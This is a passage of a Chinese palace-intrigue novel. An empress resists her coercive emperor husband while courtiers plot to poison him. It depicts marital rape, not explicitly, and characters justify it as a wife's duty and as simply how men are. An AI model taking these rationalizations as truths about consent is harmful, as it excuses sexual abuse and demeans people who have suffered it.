他并不指望媜珠做一个事必躬亲照顾孩子的辛劳的母亲,但是至少,她能不讨厌他们的孩子,她不会怨恨他们的孩子。
他希望她能真心喜爱他们共同的血脉。
然而如今他已近而立之年,他却迟迟不能从她眼中看到对他全然信任依赖的那份爱意。
*
何止佩芝心里暗暗有些不喜媜珠现在这样子,就连赵太后也看不惯她。
有一日媜珠去给赵太后请安,赵太后还冷冷地低斥了她几句:
“年节里头,正是热闹的时令,海晏河清太平盛世的,你整日在椒房殿摆着这脸色是给谁看!哭谁的丧呢?难道是给我看的吗!还不快收起你这丢人现眼的样子,好端端的一个皇后,连自己该做什么不该做什么都拎不清了!几年没见你给皇帝生下一儿两女的,架子倒是比谁都能摆!皇帝一时半会捧着你哄着你,难道长久都能这样么?”
然而此时媜珠已非彼时媜珠,若是从前的她被婆婆这样骂了,恐怕能羞愤委屈得好几日吃不下饭睡不着觉。
如今的她心却无比沉静。
她不再稀罕这个皇后之位,也不稀罕做一个旁人眼里贤良淑德的温顺国母。这些本来也不属于她。
她只觉得自己的心前所未有地野了,她想离开这里,想去寻找她本来该过的人生,想要知道本来一切的真相。
如今的她只知道自己是周三娘子,但实际上还并没有想起她丢失的那些记忆,她还并没有清清楚楚地知道当年究竟都发生了些什么。
不过穆王他们一定知道。穆王一定还有话对她说。
她现在只想离开这牢笼一般的重重深宫禁庭,想要过无拘无束的自由的生活。
自由地去见她想见的人,听别人说她想知道的事情,不用被皇帝监视,不用被迫在他身|下侍寝,不用被他派来的耳目爪牙时时刻刻关注着她的一举一动。
因此,面对皇太后罕见的怒气,媜珠只是很平静地回了她一句:
“母亲多心了,妾并无此念,何曾对母亲不敬。”
而后就起身敛衽向她行了个礼,转身离开。
其实这些天来,她心中几乎隐隐对自己的母亲都有了几分失望和不满。
她是她的亲生女儿,过去数年,其他人跟着皇帝一起做局欺她骗她也就罢了,缘何连生母都与皇帝站在一边来诓骗她呢?
她的身世,她的过往,连生母都不肯对她提起,眼睁睁看着她被那所谓的兄长视作禁|脔|玩物一般玩弄于股掌之间。
如果连母亲都不肯帮她、连母亲都在骗她,她究竟有多可怜?
还是说,是因为周奉疆的手段太过狠厉恐怖,即便是母亲也畏惧他的权势威压么?
媜珠这一下的顶撞可把赵太后气得不行,她这个女儿从小就算不能说对她全然言听计从,那也是乖巧懂事的无比贴心,何曾敢这样对她。
反常,实在是反常!
待媜珠走了,她拉着福蓉回到内殿里亦骂亦抱怨道:
“必是被皇帝给带坏了!眼瞧皇帝这个养子敢对我不孝敬,她也有样学样,莫非还是想学着那颍川公主对大余氏那样对我这个婆婆了!”
“可见人说,有了后娘就有后爹,放在儿女身上也是一样的!有了这假儿子,连真女儿也被他教唆坏了!我真是好苦的命!”
福蓉立刻附和几句:“太后,娘娘到底年轻呢,自己没有生养过,不懂得为人母的苦心,待娘娘膝下也有了小皇子小公主,她定该明白太后待她的心了。”
媜珠无子,——这话又说到赵太后的痛处,她深深呼出一口气,无休无止地同福蓉抱怨起来。
深宫漫漫,无聊琐碎的光阴里,既无丈夫描眉恩爱,又无儿孙承欢膝下,主仆二人关起门来回首从前过往,两张嘴皮子碰碰合合,把周遭之人的不如意处全都细数一遍,上至帝王皇后,下至臣僚奴仆,全都逃不过她们的口舌,于是大半天的时日也就这么消磨打发了。
——其实她们不关门也不打紧的。
哪怕是敞着门数落皇帝的不是、数落皇后的不是,皇帝根本都懒得计较这些妇人口舌。
*
在长安的颍川公主府里仍然是一片嚎天动地的光景时,岭南的韩孝直、韩孝民兄弟二人倒是都快有了和解的势头了。
这自然少不了段充在后头为韩孝民出谋划策。
段充的意思是:“兄长现下莫不如先作势和韩孝直重修于好,叫他对兄长也卸下警惕,如此一来,兄长才能继续借着他驸马的身份,将书信从此处送回长安。等长安的事情捅出来了……周奉疆那逆贼一死,兄长即可借机再杀了韩孝直,屯扎此处的魏军群龙无首、人心惶惶之下,就可被我们大楚的陛下所招降,为陛下所用。恐怕不出一年半载的,陛下就能再攻回中原,重夺长安洛阳两京。到那时再大封功臣,兄长定是功列第一,位极人臣,荣华宗族。”
韩孝民搓了搓手,面上的神情有无比的向往憧憬,也有几分忐忑和不安。
他又问道:“这……陛下和淑妃娘娘想让我的内人冯氏去唆使赵皇后毒杀周奉疆,我也不骗你了,实话与你说吧,我那内人冯氏,就是个乡野村妇出身,平素举止多为粗俗无礼,她如何能做好这样机密紧要的事情?只怕极有可能会在宫中露了怯,到时候一切可就全都完了!”
段充笑了笑:“兄长不必担忧,我们淑妃娘娘也早已料到此事了。若是嫂夫人有些拿不住,这长安城里兴许还另有人可以助嫂夫人一力。”
“谁?”
“穆王府。”
段充道:“穆王周奉弘和我们淑妃娘娘皆是幼年丧母,后来同被先冀州侯一宠妾朱氏所养,姐弟情谊深厚。我们淑妃娘娘当年从冀州嫁去洛阳时,私下还曾一再叮嘱过穆王说,勿忘家仇血恨,有朝一日,必要让周奉疆那逆贼血债血偿。穆王也答允了我们娘娘,说他此生绝不做苟且偷生之辈。兄长从此处寄信给长安的嫂夫人,可以教嫂夫人也去穆王府偷偷探点口风试试。而且,咱们未必要告诉嫂夫人她所做的事情到底是什么……只告诉她,让她传递些东西而已。”
韩孝民长长呼出了一口气。
早在这之前,他就对魏帝周奉疆有过几分不满,而这段时日段充不停地挑拨离间,更是让他对周奉疆的怨恨达到了顶峰。
他为什么至今仍然是一介白身?为什么他的兄长贵为驸马,而他身为驸马的亲弟弟,却没有一官半职在身?
还不是因为周奉疆早前针对于他!
当年周二娘子从冀州嫁往洛阳,临走前需在家中挑选侍卫护送,本来他的名字是被选中了的,但他畏惧洛阳路途遥远,不愿远行,所以死活不想去。
他求韩孝直帮他说说好话,在周奉疆那里免了他这处差事,韩孝直就给他出了个馊主意,谎称他有疾在身,病得颇重,已经不良于行,不能护送周二娘子出嫁了,倒是他有一个好友段充愿意做这个差事,可否就让段充替他?
周奉疆当时没有多说什么,叫人把他的名字勾去之后,也没再过问此事了。
直到第二年,周奉疆起兵南下,韩孝直想要再给他在军营中谋个粮草小官,把他的名字报上去后,周奉疆还冷笑道:
“你弟弟不是病重得已不能下榻行走了么?护送不了一个女人出嫁,现在难道还能护送我北地大军的粮草?荒唐!”
就这么一句话,不仅断送了韩孝民多年来的官运仕途,也让他“连一个女人都护送不了”成了刻在他身上最大的笑柄。
后来长安城中的人偶然谈起颍川公主驸马的弟弟,问起这驸马的弟弟为何连个一官半职都没有,人家都笑道:
“难道你没听说韩驸马弟弟的笑话?当年可是连一个女人出嫁都护送不了的,后来请他哥哥给他求官,竟然还想护送陛下的粮草呢,可让陛下一顿训斥,哈哈!”
而今他哥哥终于能把他弄出来找点事情做,也是费了很大一番功夫,才叫周奉疆看在颍川公主和驸马两个人的面子上,勉强放过了他。
——可如果不是因为周奉疆的针对,他本不该欠颍川公主与韩孝直这样大的人情的!
一提起此事,韩孝民就恼恨得不行,恨不得周奉疆早日暴毙才好解他心头之恨。
他这时终于想起来问一个最重要的问题了:
“可是段老弟,就算那周奉疆是逆贼夺位,可如今怎么也是个君。弑君这样的事,不论成功与否,只消被人追查出蛛丝马迹,都是要株连九族的啊!若是到时候叫人发现了,我留在长安的家眷,我的母亲妻儿他们……”
大余氏,冯氏,他的两个儿子,他们都只有死路一条了。
段充欸了一声,用周淑妃教他的话去回韩孝民道:“兄长多心了!一则我们陛下和淑妃娘娘早已算过,此事足有九成的把握能成,只等周奉疆一死,底下的人慌的慌乱的乱,谁还会去在意他是怎么死的?就算有人追查,也不一定能追查到嫂夫人的身上。退一万步说,哪怕就是查到了……”
他压低了声音,“大丈夫何患无妻无子?我们陛下已许嫁江阳公主与兄长了。江阳公主日后为兄长所生子嗣,那还是真真的凤子龙孙、血脉尊贵呢。至于伯母老夫人么……成大事者,难免有所牺牲,弟以为,老夫人身为人母,若能知晓兄长将来可成大业,不管怎样她都只会为兄长而欣慰高兴的。”
韩孝民恍惚了下:“不管怎么样,母亲她都会支持我、为我高兴么?”
“那是自然。”
段充的安慰似乎给了韩孝民极大的信心,让他心底原先还隐隐浮动的那些愧疚和负罪感都烟消云散了,他又扬起了志得意满的笑:
“好,我现在就去找韩孝直。”
韩孝民并不算是个多聪明的人,然而周婈珠却让段充将他教得很好,教会了他如何言辞恳切地将他哥哥韩孝直蒙骗得团团转,以至于对他深信不疑。
韩孝民进中军帐内面见韩孝直,甫一进去,他便眼含热泪,双眸湿润地跪倒在地,对其兄道:
“兄长再上,弟不肖,至今时今日才知自己和弟媳冯氏辜负了兄长与公主嫂嫂的苦心,是弟一人之偏,闹得家宅不宁,但请兄长惩治弟。”
“阿兄!我和阿兄,本该是同根同源,血浓于水的亲人,兄长是咱们整个韩家的荣耀,兄长靠一己之身,立得军功,娶得公主,是韩氏宗族蒙光。弟无能无德无才,冯氏也是乡野村妇的出身,我们夫妻唯一能做的,就该是好好侍奉兄长嫂嫂,沾着兄长和嫂嫂的光才得今日的锦衣玉食。”
“可我从前太过愚钝狭隘,总是想和兄长争风,还唆使冯氏去和公主嫂嫂作对,引公主嫂嫂不悦,实在是愚蠢之至,不识大体,不顾大局。直到如今害得公主嫂嫂小产丧子,那孩子是公主所生,如何只是一个简单的孩子呢?
他是先帝之外孙,陛下之外甥,将来长大成人,也是能叫咱们韩家愈发枝繁叶茂兴盛的指望,没准以后还能再给我们韩家娶一位公主回来的……如今都因为我与冯氏闹出来的家宅琐事,叫这好好的孩子没了,弟与冯氏,实在罪该万死!”
韩孝民跪倒在地:“弟已知大错,但求还能得兄长原谅一二!”
这些年来,韩孝直还是头一回见自己的弟弟掏心窝子一样说出此等让人动容的话,仿佛他真的已经改过自新、幡然悔悟了一般。
韩孝直虽痛心颍川公主失去的那个孩儿,可是韩孝民到底是自己的亲弟弟,他本来也没办法再把自己的亲弟弟怎么办,此番弟弟已经知错,而且还说以后回了长安,要当面教训一下那个不识抬举的弟媳冯氏。
他还一再保证了以后这样的事情再也不会发生,他们一家人日后定要心往一处想、劲往一处使,好好把日子给过下去。
韩孝直焉有不信自己弟弟的道理?
他于是也缓和了神色,露出了温情的样子,上前将弟弟从地上搀扶起来:“二郎,你能通晓这样的道理,哪怕直到今日也是为时不晚,我心下是当真欣喜不已,总算是见到你心智长大了些了。我这就修书一封送回长安,叫公主和太妃心中知晓,以后咱们一家人还是和和气气地在一块,不能再让长安城里的其他人笑话了。”
韩孝民也立马表示:“弟也已经写好了两份家书,一给母亲,一给冯氏,我会把道理跟她们说得明明白白,清清楚楚,叫母亲和冯氏即刻去给公主、太妃她们赔个不是,虽不能弥补公主丧子之痛,多少也叫她们心里怒气稍平息些。”
韩孝直更加欣慰了:“如此甚好!这才是咱们一家人、亲兄弟该做的事情。”
韩孝民于是从怀中掏出一沓颇有点厚度的书信,举过头顶,放在他兄长的面前:
“这是弟亲笔所书给母亲内人的家信,求兄长过目检查一番,兄长若觉得无误了,劳烦兄长替弟弟寄回长安。”
好不容易兄弟二人冰释前嫌的关口,韩孝直身为兄长,自是要表示一番对弟弟的信任,当下他就接过了那叠厚厚的书信,转过身放在了他专门给颍川公主寄送家信的盒子里,而后上前紧握着弟弟的手说:
“二郎!阿兄几时有不信任你的时候?你既说你已痛改前非,阿兄自然百般信你。只盼着这几封家信寄回公主府里,咱们一家人能互相理解,和睦如我们少年时一般。”
如果韩孝直现在有仔细观察他弟弟的表情的话,就会发现,韩孝民此时无比的紧张,甚至连他的双手都在发抖。
因为他也在赌,赌韩孝直真的不会去看他寄回去的东西里面到底是什么,哪怕等他走了之后,韩孝直也不会再拆开来去看。
而这一次,他还真的赌对了。
面对自己弟弟的悔过自新,韩孝直大喜过望,只觉得自己心中的一块大石头都被放下了,他也开始畅想起从今往后的颍川公主府会有多么和气亲睦、其乐融融,自己往后的日子能省多少心,少受多少闲气!
当下,他火速写完两封给颍川公主和李太妃的家书,而后也放进那个小盒子里锁好,立马交给信使寄回长安。
他整个人都感到无比的神清气爽,哪怕近来交州一带的战事不利,哪怕他大约三个月内已经无望再擒住张道恭了,也不妨碍他今日的好心情。
另一边,段充也在等着韩孝民给他的答复。
他迎上去问了一嘴:“兄长,如何?”
韩孝民后背、手心都是一片冷汗,整个人都像是刚从水里捞出来似的,他有些疲乏颓废地瘫坐在椅子上:“无事,无事,应当是无事的。”
段充微笑:“如此甚好,弟也可回去向陛下和淑妃娘娘复命了。”
韩孝民忽然一把紧紧握住了段充的手腕,眼神中迸发出一股异样的恨意:
“若说一刻之前的我还有所犹豫的话,此刻,我已下定决心,必要助陛下杀了周奉疆,再杀了韩孝直那小人。”
段充乃问:“为何?”
韩孝民恨得咬牙:“我早该知道,我这个所谓的兄长,实际上就是个无情无义、忘恩负义的白眼狼罢了,哪里是我的亲兄长,根本不值得我信任敬重!我按照段老弟所教,在他面前跪地认错,还承认说颍川公主小产都是被冯氏所害、让冯氏去给颍川公主赔罪,结果呢?结果我的儿子被他的孩子害瞎了双眼,他竟然厚颜无耻,连对我的半句宽慰都没有!这些年固然我母亲妻子有和颍川公主不对付的地方,难道那颍川公主就对我的母亲尽孝了么?怎么不见韩孝直说他自己的错处?他本就没拿我母亲当一回事而已,一心一意只有他那狗屁的公主老婆!”
段充立马说道:“等周奉疆一死,那颍川公主又还算个什么公主?李太妃又还算个什么太妃?兄长到时候便可报仇雪恨了。”
*
虽然穆王妃隐晦地和媜珠提过几句,希望媜珠能够在皇帝跟前也恢复从前的柔婉姿态,不要再日日摆出一副这般模样,叫皇帝见了也不痛快;虽然媜珠也知道自己不能再这样颓废下去,可她真的实在做不到。
她忽然发现,自己并不是那么能忍的。
至少现在的每个夜晚,她都格外的难熬。她开始害怕夜晚的到来,害怕皇帝的宠幸。
现在在她看来,那已经不再是一个皇帝丈夫对自己女人的宠幸,而是侵犯。
他本来并没有权力对她做这样的事情的,不是么?
那她现在为什么还要迁就、顺从他,满足他?
自从成婚以来,他对她数年不变的索求颇多,即便有时她身上还有着月事,他偶尔都会让她用些别的法子帮他纾解。
他并无别的姬妾女人,又正值盛年,佩芝她们私下也劝她多体谅皇帝,媜珠从前觉得劳累,但将就着也都忍了下来,也都能理解他在床榻间的放纵。
然而现在不行。
现在只要她一想到他原本是她的兄长,不论是她所敬重多年的那个兄长,还是毁掉她婚约和人生的兄长,哪怕她知道他和她并无血亲,他们既非同父、也非同母,可她还是接受不了。
每个夜晚,他解开她的寝衣,每一次触碰和抚摸她,都让她恨不得自己可以当场昏厥过去,这样就不用再亲自经历这一切。
最近他见她在床笫房事间半是抗拒半是敷衍,不仅没有体谅心疼她的不易,反而对她越发苛刻,索要愈多。
有时他见碰她而她没有迎合的反应,便会对她提出种种羞耻的要求,令她来主动触碰他。
媜珠总是不肯的。
她不肯,男人在床上也不会迁就她,周奉疆平素再如何宠爱她,这时候都会搬出帝王的威压来逼迫她,有时他不再柔声唤她的名字“媜媜”,而是低声沉沉地叫她“皇后”,说这是她身为他女人的职责,是她享受皇后尊位而应尽到的义务。
她必须听他的话,必须为他做。
她也害怕,然后就只能哭着照做。
没有人会想象到,看似被皇帝捧在手心里的、天底下最尊贵的女人,每个夜晚都是如此狼狈屈辱的度过。
他的兴致也被她败得一干二净了。
于是她越来越容易哭,以至于到了他稍微扯一下她的衣领,她的眼眶就立马红了的地步。
周奉疆拿她也是无可奈何的吧?
她听见他几次在事毕后拥着她睡下时,都会叹息几声,那叹息声里有他无计可施的气急败坏。
这日夜间,佩芝服侍着媜珠沐浴更衣过,媜珠躲在梳妆台前梳理着自己如云的浓密长发,磨磨蹭蹭许久就是不肯上榻歇息。
佩芝看出她的心思,还是上前委婉地催了催她:“娘娘,该安置了,陛下已经等了您有一会儿了。”
媜珠听到这话,正梳着发的手又是一抖。
她偏过了头去,将一张精致美丽的小脸低了下去,被垂下的长发遮掩:“你去让陛下先歇下吧,我等会再过去。”
是“等会再过去”,而不是“等会就过去”。
梳妆台上的铜镜里照映出一个女人年华最盛时姣妍美好的身段和容貌,昔年北地之人说她是艳冠北地三十州的第一美人,这话的确分毫不错。
过去,就连她的父亲都以她的绝色容貌为傲,说她是他北地疆域版图上最耀眼的一颗明珠,是整个冀州周家一百三十年以来发家的辉煌历史中最美丽的点缀。
她父亲私下还曾说过,如果她以后的丈夫河间王当了皇帝,那么她就会是皇后;
如果他自己当了皇帝,或者他的儿子们谁以后当了皇帝,那她就是高高在上的公主。
她的美,值得得到这份尊贵。
能受用得起他女儿这份美丽的,不是坐朝之君的皇帝,就是出身显赫的驸马。
凡夫俗子,连她的一根头发丝也不配窥见。
可是现在,她既是公主,也是皇后。
一个“死去”的、没有身份的公主;一个被人囚禁的,没有自由和尊严的所谓皇后。
最后得到她的人,是她那出身卑贱的兄长,是她父亲的养子。
她太清瘦,而这方铜镜或许太大了,她的身影仿佛被困在了这铜镜里,鎏金雕花的铜镜边缘则像是冰冷的鸟笼笼架,将她牢牢地锁在了其中,让她成了鸟笼中被关着的一只雀莺,不得挣脱。
佩芝心里叹了口气,听出了她话里的抗拒意思,只得将她说的话又如实告诉给皇帝。
媜珠紧紧握着手中的梳子,凝神细听皇帝在那头是如何回答佩芝的。
皇帝好像没有说什么,也并没有生气,摆了摆手就让佩芝退下,连寝室内殿的灯都没有让她熄。
佩芝退出内殿时,经过媜珠身边,媜珠恍惚间察觉到她好像用一种十分怜悯的目光悄悄打量了她一番。
她很快就知道,佩芝为什么会这样看她了。
*
须臾,这内殿里只剩下了皇帝和媜珠两个人。
她满心的侥幸,暗自期盼皇帝可以先于她而睡下,等到皇帝睡下之后,她再偷偷摸摸地溜回到榻上,也许这样就可以免受一晚上的折磨。
可事实终究让她失望了。
片刻后,躲在梳妆台前的媜珠听到身后渐渐传来了皇帝的脚步声。
她再度感到无比的害怕,连回头都不敢,下意识地就想逃,然而双腿又似十分沉重,让她连起身的力气都没有。
皇帝最终在她身后站定。
她看到铜镜内出现了一个男人健硕挺拔的身影,他随意披着一件宽松的寝衣,裸露着一半精壮的胸膛,是很懒散的姿态。
他从后面轻轻抱住了她,俯首亲了亲她的发顶,这动作太容易给女人一种温情而受到宠爱的错觉了。
可他对她说出的话却无比令她无地自容。
皇帝凑近她的耳边,温热的吐息都似直接灌入了她的耳内:
“朕给你半盏茶的功夫,把你的头发打理好,爬到榻上去,月兑光,等着朕,朕今夜便不再为难你。”
媜珠在他怀里又是一抖,等反应过来他在说什么之后,她的眼睛立刻就委屈地湿润了,唇齿都在轻轻发颤。
见她毫无动作,皇帝望着镜中她的模样,修长的指尖挑开她面庞的一缕碎发,
“还是说,媜媜今夜是喜欢在这里呢?”
媜珠咬着唇发抖,泪珠滴落,砸在了他的虎口处。
男人这时候对她的眼泪是不会有丝毫怜惜的,他见到她哭,甚至还觉得格外有趣地轻笑了声,
“你若是喜欢这里,朕也还给你半盏茶的功夫,爬到你的梳妆台上去,选个你喜欢的姿势,朕都依你。”
媜珠只觉得他是魔鬼。
恐怖,害怕,她心跳不由自主地加速,胸脯剧烈起伏,男人站在她身后俯视她,将她胸前的一片风光尽收眼底,活色生香。
专制和暴行滋生出柔弱雀莺反抗的决心,她终于在今夜做出了除了掉眼泪之外的其他举动。
——“啪”一声摔掉了她手中的梳子,那把皇帝亲自给她做的、当做他们成婚一整年礼物的梳子。
皇帝终于有些不悦地拧了下眉。
媜珠从梳妆台前站起了身,推开他,后退了数步,仰首直视着他满是欲色的双眸:
“我不。”
她被气得浑身发抖,“我不要,我哪里都不要,一次都不要,我不要顺从你!”
媜珠这时没有再对着他自称为“妾”,
“陛下可以有三宫六苑,如云后宫,谁愿意这样伺候陛下,陛下可嘉奖她为昭仪、贵妃,可我不愿意,只有我不行,我不是你的玩物,你凭什么对我这样?”
皇帝的脸色终于沉了下去:“媜媜,你在说什么胡话?过来,回到朕的身边来,朕不与你一般计较,可以当你没说过这些话。”
媜珠又后退了几步:“我没有说胡话,我清楚地很!我受够你了。”
她顿了顿,似乎是哽咽了下,把泪水咽进了肚子里,
“我无能,无力服侍陛下,求陛下广纳后宫,充实嫔御,雨露均沾,绵延后嗣。您放过我吧,我不想再侍寝了。”
“媜媜!”
周奉疆也怒了,他低喝了她一声,“把你丢掉的梳子捡回来,把它好好地放回你的梳妆台上,然后回到朕身边来,朕再给你最后一次机会,原谅你今夜的胡言乱语。朕告诉你,这是朕今晚最后一次容忍你的脾气。”
媜珠从未见过他这样暴怒的样子。
她忽然有些释然了——释然自己的母亲、兄弟姐妹和周围的所有人都跟着他骗她。
确实,如果有人见到他此刻的怒容,大约也会不由得膝盖发软,匍匐在地,而后诚惶诚恐地照做他的一切指令。
如若不照做,那么北地三十州的精锐士卒军队,都可以成为他平息怒火的工具。
他的确很可怕,只是她之前从未见过他可怕的样子而已。
她现在也害怕,可她最终也没有服软,而是静静等候他施加的惩罚。
第35章
成婚多年,年轻夫妻间偶尔也会有些磕磕碰碰,但除了在床上之外的其他事上,周奉疆都愿意哄着她、迁就她,从前在冀州家里家外到如今长安魏宫的禁宫内外,几乎大小事宜都由媜珠说了算,是以这些年两人表面看上去尚算恩爱,没有什么矛盾。
所以,男人理所当然地就会认为,既然他给予她的、他为她付出的足够多了,那么她就理应在床帷之内乖乖地听他的话,永远温顺地满足他的一切要求,而且还必须是笑着的、心甘情愿地顺从他,不能露出丁点不情愿的表情。
他对她没有别的太大的指望,不指望她贤良淑德,没有让她辛苦劳累地打理后宫妃妾,他不要求她做一个完美无瑕的中宫国母,希望她可以活得自在随心,甚至近几年来也没有催逼着她怀胎生子。
他对她几乎没有任何要求,只希望她在他身边可以快乐而已。
除此之外,他还给予了她许多这世上别的女人可望而不可及的东西,名分、荣华、宠爱,她得到的全都是最好的,最值得旁人羡慕的。
那为什么他只期待她帷帐之内床笫之间的一点迎合欢愉,她都吝啬得不肯给呢?
他究竟哪里做得还不够好?难道是他还不够爱她么?
她不肯给,不愿意陪他,只能是因为她不够爱他。
她不爱他或者不够爱他,那就是她的错,她的罪,她应该被惩罚。
他会用手段和时间教会她道理,让她看清楚她这辈子应该爱的人到底是谁。
*
媜珠站在原地和他僵持了片刻,周奉疆垂眸瞥了眼被她弃若敝履一般随手扔在地上的那把金梳。
那是他们成婚一整年时,他亲手所做赠她的礼物,其上还有他所刻的一行字——思卿共白头。
制作金梳所用的那块金子,还是拿前前朝的那位开国皇后圣穆刘皇后的一顶凤冠熔的。
没心没肺养不熟的小白眼狼,什么东西她都能说扔就扔。
他对她还不够好吗?
当年他要是真的做了什么狗屁君子去“成人之美”,纵着她去和张道恭淫奔到洛阳去,现下只怕她还不知衣衫褴褛地跟张道恭流浪在哪里吃糠咽菜呢。
她能不能活到今日、有那个吃糠咽菜的命都难说。
周奉疆看着她那扬着细颈仍旧桀骜不驯的样子,怒从心涌,暴虐性起,忽地上前一把攥住了媜珠的手臂,将她连拉带扯地拖到了内殿的床榻边,媜珠下意识地想要尖叫,可是喉间几乎发不出一点声音。
她惨白着一张脸被他扔进了床帐内,跌跌撞撞地在榻上连爬都爬不起来,满头青丝披散开来,一半铺陈在丝被上。
爬不起来,她就只能本能地蜷缩起身子保护自己,把自己尽可能地缩成小小的一团,然而下一刻那男人单膝跪在床沿,一把捉住她细细的脚腕,将她拖到了自己身边来,摆成了一个他顺手的姿势。
媜珠的眼神中都充满了十分的惊恐之色。
……
她恍然间连自己都开始后悔自己今夜对他露出的反骨,因为这些反抗根本就没有意义。
不反抗,她只需要吃点苦头熬过去就行。反抗拒绝了,她不仅要加倍地吃苦,还要受他的欺辱。
良久,殿外天穹之上的皎洁圆月渐渐西去,殿内的烛火也已燃尽了大半,皇帝伏在媜珠身上粗喘了片刻,冷冷地起了身,懒懒地靠在床头边看着媜珠事毕后狼狈的模样。
媜珠逼着自己没哭出声,自己强撑着从床沿边挪动到枕边,扯过被扔在一角的丝被遮了遮自己。她以为今晚大概到此结束,她应该终于可以被允许睡下歇息了。
她知道自己身上的狼藉污秽,但实在累极,也没力气去管。
——以前都是他为她清理的,她自己也没有做过这些。
以前他事后也不会待她如此冷漠,夸奖,安抚,温存,帮她清理擦拭身体,然后抱着她,哄着她睡下,这些应有的流程一件也不会少。
见她作势已经准备收场睡下了,周奉疆这才有了些反应,一把掀掉她扯过来盖在身上的被子,轻佻地拍了拍她的脸,对她冷笑:
“媜媜,乖,下床去,把你扔掉的梳子捡起来,放回梳妆台上,还要朕对你说第二遍么?”
媜珠小脸一僵。
她心中犹豫再三,双眸噙泪,终于还是四肢发软地从榻上爬了起来,捡起被扔在大床一侧的寝衣,想先穿好自己的衣裳。
她是要脸面的人。
但周奉疆又不允,或许是因刚结束一场让他愉悦的情事,他整个人的神智都有些漫不经心的散漫,
“就捡个梳子,还要穿什么衣裳?你今晚都不需要再穿衣裳了,去。”
媜珠深吸了一口气,指尖发抖地拨开了床帘,赤身下榻去梳妆台边捡起了那把被她亲手扔在地上的梳子。
每走一步,她觉得自己的心都痛到在发抖。
他怎么能如此侮辱她。
在捡起梳子的那一刻,媜珠想到了那个她没能嫁成的男人。
河间王,张道恭。
在她的记忆里,那似乎是个温润如玉的儒雅俊逸男子,他待她格外温柔周到,绝不是皇帝这样粗鄙武人出身的做派。
如果她现在的丈夫是他,他会舍得对她这样发脾气、会舍得这样对她吗?
媜珠瞥见那金梳上刻着的“思卿共白头”几个字,突然对自己此生的婚姻运数前所未有地绝望起来。
这时代的大部分女人,总会将自己的婚姻想象得无比重要,嫁给一个什么样的丈夫,就决定了她们后半生过着什么样的生活。
而她呢?
她想嫁的人,没有嫁成。
她嫁的人,并没有他表现出来的那样珍惜爱护她。
她这一生,又会和谁共白头?她白首之时,陪在她身边的人又会是谁?
媜珠不知道,她也想象不到。
她咽下那些苦涩的情绪,麻木地走到梳妆台边,将金梳放回了妆奁盒中。
“啊——”
媜珠正欲转身时,惊觉梳妆台上的铜镜内再度出现了那个男人的身影。
她被他圈在怀中,然后他一把抱着她把她放到了梳妆台上去。
她不着寸缕,披头散发狼狈不堪,如何能不懂这男人还想对她做什么?
可怜此时的她已经累到再多说一句话的力气也没了,惟有心如死灰地阖上眼帘,被迫待在这张金丝木的妆台上任他施为。
*
媜珠这一夜睡得很艰难,等她再次醒来时,已是第二日的下午时分。
再次睁开眼时,她唯一的反应就是累,疲倦,从未有过的心力交瘁的乏力。
四肢酸软,像是仍旧没力气动弹一般,眼睛也因为昨晚哭得太厉害而酸涩难受。
身上倒是清爽的,是被人清理过的,破皮红肿见了血的地方也被人悉心涂上过膏药。
可她的心是死的。
佩芝过来试探着说要侍奉她起身穿衣,手中又端着茶盏,问她渴不渴,要不要喝点茶水。
媜珠愣愣地不肯理睬人,像是已经被皇帝折磨傻了似的。她仿佛还在回忆昨夜发生的一切,想着想着,一双美眸中就又滚落了泪珠下来。
美人垂泪,总是会惹人怜惜的,不论是男女老幼皆会为之触动。
连佩芝看了也隐隐有些心头不忍,她上前轻抚了抚媜珠的肩,低声宽慰她:
“娘娘别多心也别多想,陛下是最疼爱娘娘的,是疼爱娘娘,所以有时候才会……才会稍微有点儿没分寸而已。”
可是是她受了一夜的苦,她们侍奉守在殿外的宫人,难道一点也不知道?一点也听不出来?
在她们看来,皇帝却只是“稍微有点”没分寸而已吗?
对,媜珠蓦然意识到,这世上也许不会有任何人心疼她,同情她,理解她所受的委屈。
在所有人看来,她什么都不需要做,她只是静静地待在那里,天下最有权势的男人就会去宠爱她,会将一切最好的东西都捧到她面前。
她一个人得宠,连她的整个母族赵氏都因此繁盛,成为本朝声名最显赫的望族之一。
而她要做的,不过是夜里在榻上躺着不出力伺候好皇帝就行了,这多轻松啊,她还有什么可不高兴的呢?
外人不知道她的苦楚,哪怕知道了,心里也只会说她是“不识抬举”“没事找事”。
见媜珠还是不吭声,佩芝又安慰她:“娘娘别往心里去,其实呢……天下男人都是这样的,这,哎,陛下是武人出身,又正是血气方刚的年纪,偶尔难免……可陛下最宠爱的就是娘娘了,陛下是宠爱娘娘才这样的。”
媜珠漆如点墨的眸子冷冷望向她:“男人都是这样的……所以你的意思是,不论我嫁给谁,这辈子都要遭这样的罪,是么?因为我是女子,又恰好尚有几分姿色,我生来就注定要被这样对待,是么?”
——是啊,不然呢?
佩芝在心里想,这可是刚经历过乱世的世道,像你这样的女人,不管在南地北地还是西域藩外,怀璧其罪,有这样的美色,注定要被男人抢来抢去,谁得到你都会这样对你。
这样的女人,本来便是要被人私藏的。
太过美丽的女人,在乱世里是不容易有好下场的,皇帝他都已经够宠爱你了,你如今已是幸运之至,还有什么可不满足的?
想想你那真的嫁给了张道恭的亲姐姐周婈珠吧,你若是知道周二娘子如今过得是什么苦日子,……呵。
事实上,她对媜珠并没有什么怨恨或是愤懑的情愫,媜珠身为皇后主子,待下温柔和善,她很喜欢她,甚至还一心期盼着她早日为皇帝诞下嫡长子,成为来日的帝母,让这个王朝往后几百年的君王都出自她的血脉。
可她是个四五十岁的妇人了,这辈子见识过的可比她多得多,她看透了这世道。
道理就是这个道理,难听也还是道理,不会有假的。
为什么她母亲赵太后明知女儿被人设计强占也不吭声,明面上看是因为畏惧养子权势,归根结底,其实不还是因为皇帝能给她女儿过上最好的、最安稳的生活?
可惜媜珠还太年轻,她还不懂这些。
所以现下面对媜珠的反问,佩芝立刻惶恐地跟她告罪:“娘娘息怒,婢不是这个意思,婢岂敢?”
媜珠不说话了。
佩芝再劝:“陛下和娘娘是年轻夫妻,夫妻之间一辈子少不了什么磕磕绊绊的,只要情意还在,没什么是过不去的。”
媜珠咬了咬唇:“没有了。我跟他没有情意……”
“媜媜。”
殿内的二人皆是一愣,抬头一看,是皇帝不知何时进来了。
他的脸色也未必好看,明明昨夜是他最痛快销魂,现下他眼下竟也有一抹淡淡的疲倦的乌青色。
皇帝眼神示意佩芝退下,他慢慢上前,走到媜珠床边坐下,握住了媜珠的手,媜珠躲了下,想将手抽出来,但他握得太紧,不让她离开。
“是朕不好,是朕伤了媜媜的心。”
